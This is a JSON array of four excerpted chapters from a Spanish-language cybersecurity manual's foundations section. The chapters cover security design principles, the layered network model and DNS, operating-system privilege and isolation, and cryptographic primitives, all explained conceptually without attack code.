[{"content":"Panorama: la Parte que se lee primero y se escribió última Las otras nueve Partes de este manual recorren la seguridad como un edificio: la explotación y el red team, el Active Directory, el reconocimiento, la defensa azul y el forense, la inteligencia de amenazas, la validación púrpura, la gobernanza, el factor humano y, transversal a todo, la inteligencia artificial. Cada una toma un piso y lo trabaja a fondo. Esta Parte 0 es distinta: no es un piso más, es el cimiento. Por eso ocupa el número cero y se lee primero, antes que cualquier otra cosa. Y sin embargo se escribió al final, después de todas las demás, porque solo desde el final se puede ver el edificio completo y señalar con precisión sobre qué se paró cada piso. Ese doble lugar —primero en el orden de lectura, último en el de escritura— le da a la Parte 0 una capacidad que ninguna otra tiene: puede nombrar los invariantes que las otras nueve Partes dieron por supuestos sin detenerse a enunciarlos, porque están ocupadas atacando y defendiendo.\nUn ejemplo aclara qué significa «invariante». Cuando la Parte 3 explicó que toda inyección es romper la frontera entre los datos y el código de un intérprete, presupuso que existe una diferencia entre datos y código y que mantenerla separada es un valor. Cuando la Parte 4 mostró el modelo de tiers del Active Directory, presupuso que el privilegio se otorga en la mínima cantidad necesaria. Cuando la Parte 5 construyó la detección por capas, presupuso que ninguna barrera individual es infalible y que hay que apilarlas. Ninguna de esas Partes se detuvo a defender el principio: lo usó. Este capítulo, y la Parte que abre, hacen lo contrario: se detienen en el principio, lo enuncian, y muestran que las técnicas del manual son sus aplicaciones. No enseña a atacar ni a defender —para eso están las otras nueve Partes—; enseña por qué lo que enseñaron funciona.\nLa tesis que sostiene la Parte entera se puede decir en una frase, y conviene fijarla desde el arranque: la seguridad no es un producto que se compra ni una suma de herramientas que se instalan; es una propiedad que emerge de aplicar con disciplina un puñado de principios a cada capa del sistema. El firewall, el EDR, el gestor de identidades son instrumentos; la seguridad es lo que aparece —o no— según cómo se los componga bajo esos principios. De ahí la famosa formulación de Bruce Schneier: «la seguridad es un proceso, no un producto». Un producto se termina; un proceso se sostiene. El resto de este capítulo desarma ese «puñado de principios» en sus piezas.\nEl objetivo: la tríada CIA y su extensión Antes de los principios de diseño está el objetivo que persiguen. Toda la disciplina, por debajo de su jerga, protege tres propiedades de la información, conocidas por sus iniciales en inglés como la tríada CIA.\nLa confidencialidad (confidentiality) es la garantía de que la información solo es accesible para quien está autorizado a verla. Su enemigo es la divulgación no autorizada, y casi todo lo que el manual llamó credential access, exfiltración o cifrado juega en este eje. La integridad (integrity) es la garantía de que la información no fue alterada de forma no autorizada, y de que quien dice haberla producido efectivamente la produjo. Su enemigo es la manipulación —desde la modificación de un registro hasta la forja de un ticket de Kerberos—, y es el eje que sostiene la confianza en cualquier dato. La disponibilidad (availability) es la garantía de que la información y los servicios están accesibles cuando se los necesita. Su enemigo es la interrupción, desde un ataque de denegación de servicio hasta un ransomware que cifra lo que debería estar disponible.\nLas tres están en tensión permanente, y esa tensión es la primera lección de arquitectura. Cifrar todo con claves que nadie puede recuperar maximiza la confidencialidad y destruye la disponibilidad. Replicar los datos en cien lugares maximiza la disponibilidad y multiplica por cien la superficie de confidencialidad. La seguridad no es maximizar las tres —es imposible— sino balancearlas según el valor de lo que se protege. Un modelo más fino, propuesto por Donn Parker, extiende la tríada a seis elementos, agregando la posesión o control (tener el dato aunque no se lo pueda leer —el disco cifrado robado sigue siendo una brecha de posesión—), la autenticidad (que el origen declarado sea el real, distinta de la integridad del contenido) y la utilidad (que el dato siga sirviendo para su fin —una copia de respaldo cifrada con una clave perdida conserva la confidencialidad y pierde la utilidad—). La hexada Parkeriana es útil porque nombra brechas que la tríada clásica deja fuera; para la mayoría de los casos, sin embargo, pensar en CIA alcanza.\nLos ocho principios de diseño: el canon de Saltzer y Schroeder Si la tríada CIA es el objetivo, la pregunta siguiente es cómo se diseña un sistema para alcanzarlo. La mejor respuesta la dieron Jerome Saltzer y Michael Schroeder en 1975, en un artículo cuyos ocho principios de diseño no envejecieron en medio siglo. Son el canon de la ingeniería de seguridad, y cada uno reaparece, sin nombre, a lo largo de todo el manual.\nLa economía de mecanismo (economy of mechanism) sostiene que el diseño de seguridad debe ser lo más simple y pequeño posible, porque lo que no se puede entender no se puede auditar, y lo complejo esconde defectos. Es la razón por la que un control simple bien puesto vence a uno sofisticado mal entendido. Los valores por defecto seguros (fail-safe defaults) exigen que, ante la duda o el error, el sistema deniegue en vez de permitir: la lista de acceso se construye enumerando lo permitido y rechazando todo lo demás, no al revés. La falla que abre un camino autenticado cuando una excepción se traga silenciosamente es exactamente la violación de este principio. La mediación completa (complete mediation) obliga a verificar la autorización en cada acceso, no solo la primera vez: cachear la decisión de «este usuario puede» y no revalidarla es la grieta que explotan tanto los controles de acceso rotos de la web como, elevado a arquitectura, el modelo de zero trust.\nEl diseño abierto (open design) afirma que la seguridad no debe depender de que el atacante ignore cómo funciona el mecanismo, sino solo de que ignore la clave. Es el principio de Kerckhoffs aplicado a todo el sistema, y la razón por la que la seguridad por oscuridad —esconder una URL, ofuscar un algoritmo— es un espejismo. La separación de privilegio (separation of privilege) pide que las operaciones sensibles requieran más de una condición: dos llaves para el misil, autenticación multifactor para la cuenta crítica. El mínimo privilegio (least privilege) —quizá el más citado— exige que cada componente y cada usuario operen con la menor autoridad necesaria para su función y nada más; es el principio que el modelo de tiers del Active Directory hace cumplir y que el credential dumping castiga cuando se lo ignora. El mecanismo común mínimo (least common mechanism) desaconseja compartir recursos entre componentes con distinto nivel de confianza, porque lo compartido es un canal y una superficie. Y la aceptabilidad psicológica (psychological acceptability) —el más olvidado y el más importante— recuerda que un control que los usuarios no pueden usar cómodamente será eludido, y un control eludido no protege: la seguridad tiene que ser usable o no es. Es el puente directo con el factor humano, y la razón por la que el mejor control técnico fracasa si le pide a la persona algo que no puede sostener.\nLos hilos conductores del manual Sobre ese canon clásico, las nueve Partes tejieron un conjunto de hilos conductores más específicos, que conviene reunir aquí porque son los principios que el manual efectivamente usó una y otra vez.\nSeparar los datos del código. Es la tesis única detrás de familias enteras de vulnerabilidades. Un intérprete —una base de datos, un shell, un navegador, un modelo de lenguaje— recibe en un mismo canal las instrucciones que debe ejec","section":"P0 · Fundamentos","summary":"El capítulo que abre la Parte 0 y, con ella, cierra el manual. La Parte 0 se lee primera —es el cimiento— pero se escribió última, y por eso puede hacer algo que ninguna otra puede: nombrar los invariantes que las otras nueve Partes dieron por supuestos sin enunciarlos. Este capítulo los reúne. Empieza por el objetivo que toda la disciplina persigue —la tríada CIA de confidencialidad, integridad y disponibilidad, y su extensión Parkeriana— y sigue con los ocho principios de diseño de Saltzer y Schroeder, el conjunto de axiomas de ingeniería que en cincuenta años no envejeció: economía de mecanismo, valores por defecto seguros, mediación completa, diseño abierto, separación de privilegio, mínimo privilegio, mecanismo común mínimo y aceptabilidad psicológica. Sobre esa base recoge los hilos conductores que el manual tejió Parte a Parte —separar los datos del código, la defensa en profundidad, la frontera de confianza, no confiar en la entrada, verificar la procedencia, dejar al humano la decisión irreversible— y muestra que cada uno es la aplicación de esos axiomas a una capa concreta. La tesis que ancla la Parte y el libro entero: la seguridad no es un producto que se compra ni una suma de herramientas, sino una propiedad que emerge de aplicar con disciplina un puñado de principios a cada capa del sistema.","tags":["fundamentos","principios","cia","modelo-amenazas","arquitectura","defensa-en-profundidad"],"title":"0.1 · Principios: los invariantes que todo presupone","url":"/speculum/p0-fundamentos/0-1-principios-seguridad/"},{"content":"Panorama: la red como una pila de confianzas no ganadas Casi todo lo que este manual describió sucede sobre una red. El reconocimiento la barre, la explotación la atraviesa, el movimiento lateral la recorre, la exfiltración la usa como salida y la detección la escucha. Entender la red no es un requisito técnico opcional: es entender el terreno común sobre el que se libra casi toda la disciplina. Y la mejor forma de entenderla es como lo que realmente es —una pila de capas donde cada nivel confía en el de abajo sin poder verificarlo—, porque esa estructura explica de un solo golpe por qué la red funciona y por qué es atacable.\nEl modelo se enseña con dos vocabularios. El de referencia, OSI, tiene siete capas y sirve para pensar; el que gobierna Internet, TCP/IP, tiene cuatro y sirve para operar. Sus capas —acceso al medio, Internet, transporte y aplicación— se apilan de modo que cada una resuelve un problema y le entrega el resultado a la de arriba como si fuera un servicio confiable. La capa de aplicación asume que el transporte le entrega los bytes en orden y completos; el transporte asume que la capa de Internet sabe llevar el paquete al host correcto; esta asume que la capa de acceso pone el bit en el cable. Ninguna capa verifica las garantías de la de abajo: las da por supuestas. Esa suposición encadenada es lo que permite que un navegador funcione sin saber nada de cables, y también lo que permite que un atacante que quiebra una capa inferior engañe a todas las superiores sin tocarlas.\nflowchart TB A[\"aplicación\\nHTTP · DNS · SMB — el dato que importa\"] T[\"transporte\\nTCP/UDP — puertos, orden, entrega\"] I[\"Internet\\nIP — direcciones, enrutamiento salto a salto\"] L[\"acceso al medio\\nEthernet/Wi-Fi · MAC/ARP — el bit en el cable\"] A --\u003e|\"confía en que le entregan\\nlos bytes completos y en orden\"| T T --\u003e|\"confía en que el paquete\\nllega al host correcto\"| I I --\u003e|\"confía en que la trama\\nllega al equipo del segmento\"| L L -.-\u003e|\"ninguna capa verifica\\nla garantía de la de abajo\"| AEste capítulo recorre esa pila desde el punto de vista de la seguridad: qué garantiza cada capa, qué no garantiza, y dónde vive por lo tanto la frontera que hay que defender. No repite los ataques concretos —el envenenamiento de resolución de nombres, el relay de autenticación, el movimiento lateral— que las Partes ofensivas ya trataron; nombra el modelo que todos ellos presuponen, para que se vea que son variaciones de una misma idea: explotar una confianza que una capa depositó en otra sin haberla verificado.\nEncapsulación: la cebolla de cabeceras El mecanismo que hace funcionar la pila es la encapsulación (encapsulation). Cuando una aplicación envía datos, cada capa envuelve lo que recibe de la de arriba en su propia cabecera —agregando la información que su par en el otro extremo necesitará— y se lo pasa a la de abajo. El dato de la aplicación se convierte en un segmento cuando el transporte le antepone sus puertos, en un paquete cuando la capa de Internet le antepone las direcciones IP, y en una trama cuando la capa de acceso le antepone las direcciones físicas. Del otro lado, cada capa quita su cabecera y entrega el contenido hacia arriba. Es una cebolla que se arma al bajar y se pela al subir.\nPara la seguridad, la encapsulación tiene dos consecuencias grandes. La primera es que cada cabecera es un dato que el emisor controla y el receptor procesa —y todo dato controlado por un lado y procesado por el otro es una superficie—. La dirección de origen de un paquete, por ejemplo, la escribe quien lo envía; nada en el protocolo IP obliga a que sea real, y de ahí nace la falsificación de origen (spoofing). La segunda es que la encapsulación permite el túnel: como cada capa trata el contenido de la de arriba como una carga opaca, se puede meter un protocolo dentro de otro —tráfico de control disfrazado de tráfico web, un canal de mando escondido en consultas de nombres—. El túnel es neutral: lo usa la VPN legítima para proteger y lo usa el atacante para que su tráfico de salida parezca inofensivo. La lección de arquitectura es que la capa que transporta no entiende lo que transporta, y esa opacidad, otra vez, sirve para lo bueno y para lo malo.\nDireccionamiento y enrutamiento: llevar el paquete al host correcto La capa de Internet resuelve el problema de la ubicación: dado un destino en cualquier parte del mundo, cómo llevar el paquete hasta él. Lo hace con dos ideas. La dirección IP identifica de forma lógica a cada interfaz —IPv4 con sus 32 bits ya agotados, IPv6 con sus 128 bits como sucesor—, y la máscara de subred parte esa dirección en una porción de red y una de host, que es lo que permite decidir si un destino es «local» (mismo segmento, se le habla directo) o «remoto» (hay que entregárselo a un router). El enrutamiento es el proceso por el cual los routers, consultando sus tablas, van pasando el paquete de salto en salto hasta la red de destino.\nDos puntos importan para la seguridad. Primero, dentro de un mismo segmento local la entrega física no usa la IP sino la dirección de hardware (MAC), y la traducción entre ambas la hace un protocolo —ARP en IPv4— que no autentica sus respuestas: cualquiera en el segmento puede afirmar «yo tengo esa IP» y desviar el tráfico hacia sí. Ese es el sustrato de toda una familia de ataques de intermediario en la red local. Segundo, la frontera entre «local» y «remoto» que define la máscara de subred es, en el fondo, una frontera de confianza: históricamente se trató lo que estaba en el mismo segmento como más confiable que lo que venía de afuera, y esa suposición —cómoda pero infundada— es la que la segmentación, más adelante, viene a corregir.\nDNS: la guía telefónica que hay que creer Nadie recuerda direcciones IP; se recuerdan nombres. El sistema de nombres de dominio (Domain Name System, DNS) es la infraestructura distribuida que traduce un nombre legible —ejemplo.org— a la dirección numérica que la red necesita. Es, sin exageración, uno de los servicios más críticos de Internet: si el DNS miente, no importa cuán segura sea la conexión posterior, porque se estableció con el host equivocado.\nY el DNS, en su forma original, es un sistema construido sobre confianza sin verificación. Las respuestas viajan sin cifrar y, salvo que se despliegue una extensión que las firme (DNSSEC, de adopción todavía parcial), sin garantía de autenticidad. Un cliente que pregunta «¿cuál es la dirección de este nombre?» cree la primera respuesta plausible que llega. De esa credulidad nacen dos clases de problema. Una es la suplantación de la resolución: si un atacante logra que su respuesta llegue antes que la legítima —o envenenar la caché de un resolutor—, dirige a la víctima a donde quiera. La otra, ya del lado del atacante interno, es el uso del DNS como canal encubierto: como las consultas de nombres salen de casi cualquier red sin ser inspeccionadas, se las puede usar para exfiltrar datos o mandar órdenes codificándolos en los nombres consultados. En redes de identidad corporativa, además, los protocolos de resolución de respaldo que se activan cuando el DNS falla —los que la Parte 4 mostró siendo envenenados para capturar autenticación— son la misma falla de fondo: un servicio de nombres que cree lo primero que le contestan.\nFronteras dentro de la red: NAT, cortafuegos y segmentación Si toda la red fuera un único espacio plano donde cualquier host habla con cualquier otro, comprometer un solo equipo equivaldría a comprometer la red entera. La arquitectura de red segura consiste, en buena medida, en dibujar fronteras dentro de ese espacio, y hay tres mecanismos que las dibujan.\nLa traducción de direcciones (Network Address Translation, NAT) nació para conservar direcciones —muchos hosts internos compartiendo unas pocas públicas— y, como efecto lateral, oculta la estructura interna y evita que se inicien conexiones desde afuera hacia adentro sin una regla explícita. No es un control de seguridad diseñado como tal, pero contribuye. El cortafueg","section":"P0 · Fundamentos","summary":"El sustrato de conectividad sobre el que se apoyan casi todas las técnicas del manual. Explica la pila TCP/IP como un modelo de capas donde cada nivel confía en el de abajo sin poder verificarlo —y por qué esa confianza no ganada es, a la vez, lo que hace funcionar Internet y lo que la vuelve atacable—. Recorre la encapsulación, el direccionamiento y el enrutamiento, el sistema de nombres de dominio (DNS) como una infraestructura de confianza tan indispensable como frágil, y los mecanismos que dibujan fronteras dentro de la red: NAT, cortafuegos y, sobre todo, la segmentación, cuyo opuesto —la red plana— es el pecado original que convierte un único punto de acceso en el compromiso de todo. Distingue el tráfico norte-sur (que cruza el perímetro) del este-oeste (que se mueve dentro), explica a alto nivel cómo el protocolo TLS levanta un canal cifrado y autenticado sobre un transporte que no lo es, y cierra con el filtrado de salida (egress filtering) como el control que le quita al atacante la vía de retorno. No rehace los ataques de red de las Partes 2, 3 y 4: nombra el modelo que esos ataques presuponen.","tags":["fundamentos","redes","tcp-ip","dns","segmentacion","tls","arquitectura"],"title":"0.2 · Redes: el modelo de capas como superficie","url":"/speculum/p0-fundamentos/0-2-redes/"},{"content":"Panorama: la máquina que reparte el poder Entre el hardware y los programas hay un árbitro: el sistema operativo. Su trabajo, mirado desde la seguridad, se puede resumir en una sola frase —administrar el privilegio y hacer cumplir el aislamiento—. Administrar el privilegio significa decidir qué puede hacer cada programa y cada usuario: leer este archivo, escribir en aquel, abrir un puerto, apagar la máquina. Hacer cumplir el aislamiento significa que un programa no pueda entrar en la memoria de otro, ni un usuario en los datos de otro, salvo cuando está explícitamente autorizado. Casi todo lo que el manual llamó escalada de privilegios, volcado de credenciales o evasión es, en el fondo, un intento de torcer una de esas dos funciones: conseguir más autoridad de la que corresponde, o esconderse de quien la vigila.\nLa razón por la que el sistema operativo puede arbitrar es que él corre en un nivel de privilegio que los programas no alcanzan. El procesador distingue, por hardware, al menos dos modos de ejecución: uno privilegiado, donde el código puede tocar el hardware y la memoria de cualquiera, y uno restringido, donde no. En ese modo privilegiado corre el núcleo (kernel), el corazón del sistema operativo; en el restringido corren los programas, en lo que se llama el espacio de usuario (user space). Esa separación —la frontera kernel/usuario— es el aislamiento primario del que dependen todos los demás. Si un atacante logra ejecutar código en el núcleo, no hay control por encima que lo detenga: se convierte en el árbitro.\nEste capítulo recorre cómo dos familias de sistemas operativos —Windows y los de tipo Unix, con Linux como referente— implementan esa administración del privilegio, y por qué las técnicas ofensivas que el manual detalló son maniobras sobre estas estructuras. No repite esas técnicas; nombra el terreno que presuponen.\nLa frontera kernel/usuario: el aislamiento primario Cuando un programa necesita algo que solo el núcleo puede hacer —abrir un archivo, enviar un paquete, crear otro proceso— no lo hace directo: pide permiso al núcleo a través de una llamada al sistema (system call o syscall). La llamada al sistema es la única puerta legítima entre el espacio de usuario y el núcleo, y esa es exactamente la propiedad que la vuelve tan importante para la seguridad. Cada cruce de la frontera pasa por esa puerta, y cada puerta es un punto donde el núcleo puede validar quién pide qué. Es la mediación completa del capítulo de principios hecha hardware: no se confía en el programa, se lo obliga a pedir en cada operación.\nflowchart TB subgraph U[\"espacio de usuario (modo restringido)\"] P1[\"programa de usuario\\nsin privilegio directo sobre el hardware\"] end subgraph K[\"núcleo (modo privilegiado)\"] KS[\"kernel — árbitro total\\nmemoria, hardware, procesos\"] end P1 --\u003e|\"syscall = la única puerta legítima\\n(el kernel valida quién pide qué)\"| KS P1 -.-\u003e|\"escalada de privilegios =\\ncruzar la frontera sin permiso\"| KSDe esta estructura salen dos ideas que recorren toda la seguridad de sistemas operativos. La primera: la escalada de privilegios es, en esencia, cruzar esa frontera sin autorización —o moverse hacia arriba dentro del espacio de usuario, de una cuenta común a una administrativa, y desde ahí eventualmente al núcleo—. La Parte 3 recorrió el catálogo de cómo se logra ese cruce; aquí basta con ver que todos esos métodos apuntan al mismo lugar: llegar a donde el árbitro no tiene a nadie por encima. La segunda: como el núcleo lo ve y lo puede todo, un compromiso a nivel de núcleo —un rootkit, un controlador malicioso— es el más difícil de detectar, porque el atacante controla al mismo componente que debería delatarlo. Esa es la raíz de la tensión que la evasión explota: la defensa y el atacante pelean por quién tiene el punto de vista más privilegiado sobre la máquina.\nEl privilegio en Windows Windows construye su modelo de privilegio alrededor de dos objetos. El identificador de seguridad (Security Identifier, SID) es el nombre interno, único e inmutable, de cada principal de seguridad —un usuario, un grupo, un equipo—. Cuando se habla de «el administrador» o «los usuarios del dominio», por debajo son SID; y una cuenta puede renombrarse sin cambiar su SID, razón por la cual el SID, y no el nombre, es lo que de verdad identifica. El token de acceso (access token) es el otro objeto clave: cuando un usuario inicia sesión, el sistema le arma un token que contiene su SID, los SID de todos los grupos a los que pertenece y la lista de privilegios especiales que tiene. Cada proceso que lanza ese usuario lleva una copia de ese token, y el token es lo que el sistema consulta en cada acceso para decidir si permite o niega. Manipular tokens —robar el de un proceso más privilegiado, o duplicarlo— es una vía de escalada precisamente porque el token es la identidad efectiva del proceso.\nSobre esa base, Windows agrega los niveles de integridad (integrity levels): una etiqueta —bajo, medio, alto, sistema— que se asigna a procesos y objetos y que impone una regla adicional independiente de los permisos clásicos, un proceso de integridad baja no puede modificar un objeto de integridad más alta aunque los permisos se lo permitirían. Es lo que confina, por ejemplo, a un navegador comprometido. El control de cuentas de usuario (User Account Control, UAC) se apoya en esto: cuando un administrador inicia sesión, recibe en realidad dos tokens, uno restringido para el uso cotidiano y uno completo que solo se activa con consentimiento explícito, de modo que el privilegio administrativo no esté encendido todo el tiempo. UAC es mínimo privilegio aplicado a la vida diaria del administrador; rodearlo (UAC bypass) es reactivar el token completo sin el consentimiento.\nY en el centro de todo está un proceso que merece mención propia: LSASS (Local Security Authority Subsystem Service), el servicio que valida los inicios de sesión y que, para poder ofrecer el inicio de sesión único, mantiene en memoria material de credenciales de los usuarios activos —hashes, tickets, a veces secretos derivados—. Esa concentración es funcional y es peligrosa: convierte a LSASS en el objetivo de mayor valor de la máquina, porque quien lee su memoria cosecha las credenciales de todos los que iniciaron sesión. El volcado de credenciales de la Parte 4 es, en su forma más pura, leer la memoria de LSASS; y las defensas que esa Parte mencionó —proteger el proceso, aislar los secretos en un entorno virtualizado— son intentos de sacar el material de credenciales del alcance de un atacante que ya tiene privilegio. Aquí solo importa fijar por qué LSASS es el premio: porque el sistema operativo eligió guardar ahí lo que abre todas las puertas.\nEl privilegio en Linux El mundo Unix parte de un modelo más antiguo y más simple, y lo fue refinando. La base es la tríada de usuarios y grupos con los bits de permiso: cada archivo tiene un dueño, un grupo y tres ternas de permisos —lectura, escritura, ejecución— para el dueño, el grupo y el resto. Sobre esa rejilla se apoya el control de acceso cotidiano. Y por encima de todos está root (UID 0), el superusuario, que tradicionalmente saltea toda la verificación de permisos: root puede todo. Esa concentración —un único principal que lo puede todo— es la contracara del LSASS de Windows, y el motivo por el que en Linux la escalada de privilegios se formula casi siempre como «llegar a root».\nLos refinamientos apuntan justamente a fragmentar ese poder absoluto. Las capabilities parten el monolito de root en piezas —la capacidad de abrir puertos privilegiados, la de cambiar la propiedad de archivos, la de cargar módulos del núcleo— de modo que un proceso pueda recibir solo la que necesita sin ser root entero; es mínimo privilegio aplicado al superusuario. El bit setuid es el mecanismo, tan útil como peligroso, que permite que un programa se ejecute con el privilegio de su dueño en vez del de quien lo lanza —así un usuario común puede, por ejemplo, cambiar su contraseña ejecutan","section":"P0 · Fundamentos","summary":"El sustrato de ejecución sobre el que corre todo lo demás. El sistema operativo tiene una sola misión de seguridad: administrar el privilegio y hacer cumplir el aislamiento, de modo que un programa no pueda hacer lo que no le corresponde ni tocar lo que no es suyo. Este capítulo explica la frontera primaria —la que separa el núcleo (kernel), que manda sobre el hardware, del espacio de usuario, donde corren los programas— y por qué esa frontera es la línea que la escalada de privilegios busca cruzar. Recorre el modelo de privilegio de Windows (los identificadores de seguridad, los tokens de acceso, los niveles de integridad, el control de cuentas de usuario y el papel central del proceso que custodia las credenciales, LSASS) y el de Linux (usuarios y grupos, los bits de permiso, el conjunto de capabilities que fragmenta el poder de root, el bit setuid, los espacios de nombres que aíslan contenedores y la interfaz de llamadas al sistema como la puerta entre el usuario y el núcleo). El hilo que une todo es el privilegio como la abstracción central: comprenderlo es comprender por qué la escalada, el volcado de credenciales y la evasión son variaciones de un mismo movimiento —conseguir más autoridad de la otorgada, o esconderse de quien la vigila—. No rehace el volcado de credenciales de la Parte 4 ni la escalada de la Parte 3: nombra la arquitectura de privilegio que ambos presuponen.","tags":["fundamentos","sistemas-operativos","windows","linux","privilegio","kernel","aislamiento"],"title":"0.3 · Sistemas operativos: privilegio, procesos y aislamiento","url":"/speculum/p0-fundamentos/0-3-sistemas-operativos/"},{"content":"Panorama: confiar sin custodiar Todas las demás defensas del manual dependen, en última instancia, de vigilar algo: un cortafuegos vigila el tráfico, un EDR vigila los procesos, un SOC vigila los registros. La criptografía es distinta porque no vigila: apoya sus garantías en la dificultad matemática de ciertos problemas. Bien usada, permite algo que ninguna otra herramienta ofrece —confiar en un dato sin tener que custodiar el canal por el que viaja—. Se puede mandar un mensaje por una red hostil, que cualquiera puede leer y alterar, y aun así garantizar que solo el destinatario lo entiende (confidencialidad), que nadie lo tocó sin que se note (integridad) y que lo escribió quien dice (autenticidad). Esa es la razón por la que la criptografía es un sustrato: las tres propiedades de la tríada CIA tienen en ella su implementación más fuerte.\nPero esa fuerza viene con una trampa, y conviene enunciarla desde el principio porque organiza todo el capítulo: la criptografía casi nunca falla en la matemática. Los algoritmos modernos, bien elegidos, resisten. Lo que falla —una y otra vez, en caso tras caso— es cómo se los implementa y, sobre todo, cómo se gestionan las claves. Un cifrado perfecto con una clave mal guardada no protege nada; una firma impecable validada contra una autoridad comprometida certifica al atacante. La criptografía traslada el problema de la seguridad del algoritmo a la clave, y ahí, en la gestión de la clave, es donde se pierde. El capítulo recorre primero las herramientas y termina en esa lección.\nLas tres primitivas Casi toda la criptografía aplicada se construye con tres bloques. Confundirlos es el error conceptual más común en seguridad, así que conviene separarlos con nitidez.\nEl cifrado simétrico (symmetric encryption) usa una sola clave para cifrar y descifrar, compartida entre las partes. Es rápido y eficiente, y por eso es lo que protege el grueso de los datos —un disco cifrado, el contenido de una sesión de red ya establecida—. Su algoritmo de referencia es AES. Su problema es logístico y enorme: para hablar con alguien hay que compartir antes la clave, y compartir una clave secreta con quien todavía no se puede hablar de forma segura es un círculo vicioso.\nEl cifrado asimétrico (asymmetric encryption, o de clave pública) resuelve ese círculo. Cada parte tiene un par de claves: una pública, que se reparte libremente, y una privada, que se guarda en secreto. Lo que se cifra con una solo se descifra con la otra. Eso permite dos cosas mágicas. Primera: cualquiera puede cifrar un mensaje con la clave pública del destinatario sabiendo que solo él, con su clave privada, podrá leerlo —sin haber acordado nada de antemano—. Segunda, y es la base de la firma: algo cifrado con la clave privada de alguien solo se verifica con su pública, lo que prueba que salió de él. El asimétrico es lento, así que en la práctica no cifra los datos: se usa para acordar de forma segura una clave simétrica, que hace el trabajo pesado. Ese matrimonio —asimétrico para acordar, simétrico para transportar— es exactamente lo que hace el handshake de TLS que la capa de red describió.\nLa función de hash (hash function) es la tercera primitiva y la más malentendida. Toma una entrada de cualquier tamaño y produce una huella de tamaño fijo, con tres propiedades: la misma entrada da siempre la misma huella; es inviable revertir la huella al dato original; e inviable encontrar dos entradas con la misma huella. Un hash no cifra —no hay clave, no se «des-hashea»—: garantiza integridad, no confidencialidad. Sirve para detectar si algo cambió (comparar huellas), para almacenar contraseñas sin guardarlas en claro, y como pieza de la firma digital. Los de referencia son la familia SHA-2; los viejos MD5 y SHA-1 están rotos para usos de seguridad porque se encontró cómo fabricar colisiones.\nflowchart TB S[\"simétrico\\n1 clave · rápido\\ncifra el grueso de los datos\"] A[\"asimétrico\\npar público/privado\\nacuerda claves · firma\"] H[\"hash\\nhuella fija · sin clave\\nintegridad, NO confidencialidad\"] S --\u003e TLS[\"canal cifrado\\n(TLS, disco)\"] A --\u003e PKI[\"firma digital · PKI\\ncertificados · autenticación\"] A --\u003e TLS H --\u003e INT[\"integridad\\ncontraseñas · firma\"]Y aquí el error de categoría que hay que desterrar: cifrar, codificar y hashear son cosas distintas. Codificar —Base64, por ejemplo— no es seguridad: es solo cambiar la representación de un dato para transportarlo, y se revierte trivialmente, cualquiera puede decodificar Base64. Cifrar protege con una clave. Hashear produce una huella irreversible. Tratar un dato codificado como si estuviera protegido es una de las confusiones que la ofensiva explota una y otra vez.\nConstrucciones: de las primitivas a la confianza aplicada Sobre esas tres primitivas se levantan las construcciones que el manual usó sin detenerse a explicarlas.\nDerivación de claves y contraseñas. Guardar contraseñas como hash directo no alcanza, por dos razones. Si dos usuarios tienen la misma contraseña, tienen el mismo hash —y un atacante que roba la base los ve iguales y ataca a ambos de una—; y como el hash es rápido de calcular, se pueden probar miles de millones de candidatos por segundo. La respuesta son las funciones de derivación de claves (Key Derivation Functions, KDF) con sal (salt): un valor aleatorio único por usuario que se mezcla con la contraseña antes de hashear —así dos contraseñas iguales dan huellas distintas y las tablas precalculadas dejan de servir— y un algoritmo deliberadamente lento (bcrypt, scrypt, Argon2) que hace que probar cada candidato cueste tiempo. La diferencia entre un almacén de contraseñas que resiste y uno que cae en horas es exactamente esta construcción. Cuando la Parte 4 mostró el crackeo de hashes tras un volcado, lo que decide si el ataque prospera es si la organización usó una KDF lenta con sal o un hash rápido y pelado.\nFirma digital y PKI. La firma combina hash y asimétrico: se hashea el documento y se cifra la huella con la clave privada del firmante; cualquiera verifica rehaciendo el hash y descifrando la huella con la pública. Eso da integridad (si el documento cambió, las huellas no coinciden) y autenticidad (solo el dueño de la privada pudo firmar). Pero queda una pregunta: ¿cómo sé que esa clave pública es realmente de quien dice? La respuesta es la infraestructura de clave pública (Public Key Infrastructure, PKI): una jerarquía de autoridades de certificación (Certificate Authorities, CA) que firman certificados —afirmaciones de que «esta clave pública pertenece a esta identidad»—, de modo que confiar en la CA raíz permite confiar, por cadena, en todo lo que firmó. Esa cadena de confianza es lo que hace funcionar TLS (el certificado del servidor) y también la autenticación por certificados del Active Directory que la Parte 4 recorrió. Y su punto débil es estructural: quien controla una CA puede certificar mentiras; por eso las fallas de esa Parte no rompían la criptografía, abusaban de quién podía emitir certificados y para qué.\nKerberos como criptografía aplicada. El protocolo de autenticación del Active Directory es un caso de estudio de todo lo anterior en movimiento: usa cifrado simétrico para proteger sus tickets y para probar identidad sin mandar la contraseña por la red. Y ahí la elección del algoritmo importa de forma tangible. La Parte 4 mostró que los tickets cifrados con el viejo RC4 son crackeables sin conexión —se prueban contraseñas contra el ticket hasta que una descifra— mientras que los cifrados con AES resisten ese ataque; y que la mera presencia de RC4 en la telemetría es una firma de manipulación. Es la lección de este capítulo hecha carne: no falló Kerberos, falló seguir aceptando un algoritmo que la matemática ya había dejado atrás. La misma diferencia —viejo roto contra moderno sólido— reaparece cada vez que un sistema arrastra criptografía obsoleta por compatibilidad.\nLos límites: dónde falla de verdad El capítulo cierra donde empezó, con la advertencia que ordena todo. La criptografía n","section":"P0 · Fundamentos","summary":"El sustrato de confianza verificable. La criptografía es la única herramienta de la seguridad que apoya sus garantías en la matemática y no en la vigilancia: bien usada, permite confiar en la confidencialidad, la integridad y el origen de un dato sin tener que custodiar el canal por el que viaja. Este capítulo ordena sus tres primitivas —el cifrado simétrico (una clave compartida, rápido, para el grueso de los datos), el cifrado asimétrico (un par de claves pública y privada, que resuelve el problema de acordar secretos con desconocidos) y las funciones de hash (huellas de tamaño fijo que garantizan integridad, no confidencialidad)— y combate el error de categoría más común y más caro: confundir cifrar, codificar y hashear. Sobre esas primitivas levanta las construcciones que el resto del manual dio por sentadas: las funciones de derivación de claves con sal que deciden si un hash de contraseña resiste o cae, la firma digital y la infraestructura de clave pública (PKI) que sostiene tanto TLS como la autenticación por certificados del Active Directory, y Kerberos como criptografía aplicada donde la diferencia entre un algoritmo viejo y uno moderno decide si un ticket se puede crackear. Cierra con la lección de arquitectura: la criptografía casi nunca falla en el algoritmo; falla en la implementación y en la gestión de las claves. No rehace Kerberos ni AD CS: da el fundamento matemático que ambos presuponen.","tags":["fundamentos","criptografia","hashing","pki","firma-digital","kerberos","arquitectura"],"title":"0.4 · Criptografía: confianza matemática y sus 